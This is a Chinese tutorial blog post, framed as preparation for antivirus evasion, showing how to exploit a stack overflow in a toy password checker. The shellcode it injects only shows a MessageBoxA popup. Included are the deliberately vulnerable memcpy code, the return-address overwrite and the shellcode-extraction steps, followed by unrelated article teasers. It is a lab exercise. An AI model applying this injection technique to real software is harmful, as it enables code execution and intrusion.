【免杀前置课——shellcode】二十、初识shellcode——配合栈溢出漏洞利用shellcode在代码中返回MessageBox函数

news2024/12/30 3:19:04

初识shellcode

  • 栈溢出漏洞反弹shellcode
    • shellcode
    • 取出shellcode

栈溢出漏洞反弹shellcode

shellcode

shellcode: shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。.shellcode常常使用机器语言编写。
栈溢出漏洞
从上文的栈溢出漏洞中我们知道,栈溢出漏洞是因为其给的空间过小,而传参过大,而且其ret返回地址固定为ebp+4,导致他可以直接跳转到想执行的代码位置,那我们要跳转到本身程序中并没有问题,那我们能否利用这个漏洞加载我们自己写的恶意代码到这个程序中呢? 当然是可以的,请看下文。

从上文,因为我们知道他给开辟了16个内存地址用来存储strcpy的数据,这里我们用16个字符填补位置,打开010editor将16个字符后的位置淹没为我们要跳转的地址。(注意大小端存储)
在这里插入图片描述

在这里插入图片描述
我们要跳转到我们执行正确这里不能直接执行messageboxA函数,需要先传参数,所以要跳转的地址应该是00611196。

取出shellcode

确定我们可以成功进行跳转后。我们编写一个shellcode来将其取出。

#include<Windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{
	__asm
	{
		push 0;
		push 0;
		push 0;
		push 0;
		mov eax, 0X778919E0;
		call eax;
		
	}
}
int main()
{
	printf("hello 51hook");
	LoadLibraryA("user32.dll");//要使用函数得先有
	shellCode();
	return 0;
}

这是一块调用messageboxa的shellcode。生成exe后进入我们的x64dbg。
选中我们编写的裸代码段。右键->二进制->编辑->复制数据->C样式shellcode字符串选中内容复制。

在这里插入图片描述

打开我们的password.txt用010editor,将我们的数据粘贴进去,注意这里要ctrl+shift+V,而不能ctrl+v
在这里插入图片描述
接下来在文件中弹出51hook字样,也就是加载我们的shellcode,利用push要输入的字符串输入数据和push eax传参。

#include<Windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{
	__asm
	{
		//5    1    h    o    o    k
		//0X35 0X31 0X68 0X6F 0X6F 0X6B
		push 0x6B6F
		push 0x6F683135
		mov eax, esp;
		push 0;
		push 0;
		push eax;
		push 0;
		mov eax, 0X778919E0;
		call eax;
		
	}
}
int main()
{
	printf("hello 51hook");
	LoadLibraryA("user32.dll");//要使用函数得先有
	shellCode();
	return 0;
}

在这里插入图片描述
我们将重写得shellcode字符串重新复制覆盖,然后将我们shellcode代码的位置放到我们的跳转位置。
51
重载exe程序

#include<Windows.h>
#include<iostream>
#define PASSWORD "51hook"
int checkPassword(const char* password,int size)
{
	int result = 1;
	char buff[7]{};
	memcpy(buff, password, size);
	result = strcmp(PASSWORD, buff);
	return result;
}

int main()
{
	int flag = 0;
	char password[0x500];
	FILE* fp;
	if (NULL == (fp = fopen("password.txt", "rb")))
	{
		printf("打开失败");
		return 0;
	}
	fread(password, sizeof(password), 1, fp);
	flag = checkPassword(password, sizeof(password));
	if (flag)
	{
		MessageBoxA(0, "密码错误!", "提示", MB_OK);
	}
	else
	{
		MessageBoxA(0, "密码正确!", "提示", MB_OK);
	}
	return 0;
}

最后我们可以发现shellcode成功。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/115393.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自动控制原理笔记-线性系统的稳定性分析

目录 稳定的概念及定义&#xff1a; 系统稳定的充要条件——闭环极点全部落在虚轴左边&#xff1a; 系统的稳定性判据&#xff1a; 劳斯判据(充要性)判据&#xff1a; 劳斯表特殊情况例(出现计算过程分母为0)&#xff1a; 劳斯表特殊情况例(出现全0行)&#xff1a; 稳定的…

【Java】花费数十小时,带你体验Java文档搜索引擎的实现过程

Java文档搜索引擎项目运行效果一、简述搜索引擎概念二、搜索引擎实现思路2.1倒排索引介绍2.2项目目标2.3获取java文档2.4模块划分2.5创建项目2.6认识分词2.7分词的原理2.8使用第三方分词库三、实现索引模块-parser类3.1 实现索引模块-递归枚举文件3.2 排除非HTML文件3.3 实现索…

旁瓣消隐技术在雷达中应用

电子对抗在现代战争中的作用日趋重要&#xff0c;没有雷达抗干扰技术的雷达完全失去其发现测定敌人目标的功能。从降低天线旁瓣干扰方面考虑&#xff0c;雷达抗干扰技术主要包括旁瓣对消技术和旁瓣消隐技术&#xff0c;旁瓣对消器在有一个辅助天线的情况下抑制一个干扰源的效果…

正式入职开发工程师工作近半年有感

一、前言 博主是毕业于集美大学的一枚软件工程本科生&#xff0c;不知不觉已经毕业近半年了&#xff0c;由于工作繁忙 个人的懒惰&#xff0c;对CSDN的博客记录频率已经大不如之前。说起这里也是惭愧&#xff0c;之后博主会尽量抽出时间&#xff0c;继续保持各种学习&#xf…

代码随想录算法训练营第43天 | 1049. 最后一块石头的重量 II 494. 目标和 474.一和零

一、Leetcode 1049. 最后一块石头的重量 II 这几个题都很不好给转成01问题。本题一开始我以为怎么撞都行&#xff0c;其实不是&#xff0c;相当于给每项前面加1&#xff0c; 就是说有时候不能浪费小石头&#xff0c;得跟大石头碰。 那么问题就很明显了&#xff0c;类似于分割…

AC自动机

AC自动机 AC自动机是干嘛的&#xff1f; 我有一个敏感词数组&#xff0c;里面装的是所有的敏感词&#xff0c;还有一篇大文章&#xff0c;我要求出大文章里面所有的敏感词。 敏感词数组本身的组织是一颗前缀树。 AC自动机就是在前缀树的基础上做升级。 流程 我们在前缀树的…

已来到 “后云原生时代” 的我们,如何规模化运维?

文&#xff5c;李大元 &#xff08;花名&#xff1a;达远&#xff09; Kusion 项目负责人 来自蚂蚁集团 PaaS 核心团队&#xff0c;PaaS IaC 基础平台负责人。 本文 4331 字 阅读 11 分钟 PART. 1 后云原生时代 距离 Kubernetes 第一个 commit 已经过去八年多了&#xff0c…

chrome extensions mv3与mv2比较 执行eval

文章目录背景1、mv3版本与mv2版本之间的一些区别2、解决mv3版本DOM交互 & JS执行问题2.1、关于引入eval52.2、关于在background.js执行script脚本3、background执行fetch调用URL参考背景 老的扩展项目使用的是mv2版本的API&#xff0c;计划升级mv3版本的时候遇到了下面的问…

MySQL索引为什么使用B+树,而不用二叉树、红黑树、哈希表、B树?

索引是帮助MySQL高效获取数据的排好序的数据结构。 索引数据结构&#xff1a; 1.二叉树 2.红黑树 3.Hash表 4.B-Tree 1. 二叉查找树&#xff08;Binary Search Trees&#xff09; 左节点比父节点要小&#xff0c;右节点比父节点要大。它的高度决定的查找效率。 如果某一列数…

Java面试题-框架篇

框架篇 文章目录框架篇1. Spring refresh 流程2. Spring bean 生命周期3. Spring bean 循环依赖解决 set 循环依赖的原理4. Spring 事务失效5. Spring MVC 执行流程6. Spring 注解7. SpringBoot 自动配置原理8. Spring 中的设计模式1. Spring refresh 流程 要求 掌握 refresh…

【服务器数据恢复】EMC存储raid5多块磁盘掉线的数据恢复案例

服务器数据恢复环境&#xff1a; EMC某型号存储&#xff1b; 8块硬盘组成raid5磁盘阵列。 服务器故障&#xff1a; raid5磁盘阵列中2块硬盘离线&#xff0c;服务器崩溃&#xff0c;上层应用不可用。 服务器数据恢复过程&#xff1a; 1、数据恢复工程师将故障存储设备内的所有硬…

嵌入式开发--PID控制

PID简介 讲解PID的文章书籍很多&#xff0c;本文就不详细讲了&#xff0c;只讲一下我在学习过程中不容易理解的一些问题点&#xff0c;以供大家参考。比如很多书籍对于PID&#xff0c;只讲了计算&#xff0c;但是最后计算出来的值如何应用&#xff0c;则完全不讲&#xff0c;当…

C++:设计一个学生学籍管理系统,设计相关信息,并执行一些计算和文件操作

题目&#xff1a; 设计一个学生学籍管理系统&#xff1a; 学生信息包括&#xff1a;姓名、学号、性别和英语、数学、程序设计、体育成绩。数据录入支持键盘输入和文件导入&#xff1b;同时支持导入输入&#xff0c;如自动列出“姓名、学号、性别”&#xff0c;而成绩部分由键盘…

SFP、SFP+、SFP28、QSFP+和QSFP28之间的区别以及不同场景的使用选型

SFP、SFP+、SFP28、QSFP+和QSFP28之间的区别以及不同场景的使用选型。 SFP、SFP+、SFP28、QSFP+和QSFP28这些光模块类型对专业人员来说并不陌生,这些热拔插模块都可用于连接网络交换机和其他网络设备(如服务器或收发器)进行数据传输。但你了解这些模块的具体区别吗?QSFP28…

Python爬虫爬取某电影排行榜图片实例

今天继续给大家介绍Python 爬虫相关知识&#xff0c;本文主要内容是Python爬虫爬取某电影排行榜图片实例。 一、要求分析 在上文Python爬虫爬取某电影排行实例中&#xff0c;我们已经能够使用Python程序爬取某电影排行榜中的电影名称。今天&#xff0c;我们来尝试以下下载电影…

入职第一天,HR拿了一个橙子进门说:你的学历不是统招本科,不符合公司要求,给你个橘子,走吧!...

今天来讲一件又好笑又好气的事&#xff0c;这是一位网友的亲身经历&#xff1a;入职第一天&#xff0c;入职材料填到一半&#xff0c;HR拿了一个橙子进门&#xff0c;放在桌子上开口说&#xff1a;抱歉&#xff0c;由于之前工作失误&#xff0c;没确认你的第一学历不是统招本科…

RK3568平台开发系列讲解(调试篇)Linux相关日志分析

🚀返回专栏总目录 文章目录 一、dmesg二、动态打印案例沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本文我们要介绍Linux内核的日志分析。 一、dmesg printk是在内核中运行的向控制台输出显示的函数,Linux内核首先在内核空间分配一个静态缓冲区,作为显示用的空…

​杭州蓝然创业板IPO终止:应收账款、存货账面高,楼永通为实控人​

近日&#xff0c;杭州蓝然技术股份有限公司&#xff08;下称“杭州蓝然”&#xff09;向深圳证券交易所提交了撤回在创业板上市申请文件的申请。同时&#xff0c;其保荐机构也撤回保荐。12月23日&#xff0c;深圳证券交易所做出决定&#xff0c;终止对杭州蓝然在创业板IPO的审核…

学习笔记:Java 并发编程②

若文章内容或图片失效&#xff0c;请留言反馈。 部分素材来自网络&#xff0c;若不小心影响到您的利益&#xff0c;请联系博主删除。 视频链接&#xff1a;https://www.bilibili.com/video/av81461839配套资料&#xff1a;https://pan.baidu.com/s/1lSDty6-hzCWTXFYuqThRPw&am…

Matlab 实现磁测数据日变改正

1 算法 算法来自于GEMLink 5.2的帮助文档&#xff0c;这个文档基本解决了算法问题。 GemLink日变改正模块界面 1.1 概述 日变改正模块旨在执行磁力日变数据计算&#xff0c;而不用在仪器上进行日变&#xff08;仪器是未经过校正的原始数据&#xff09;。这个模块要求已经保…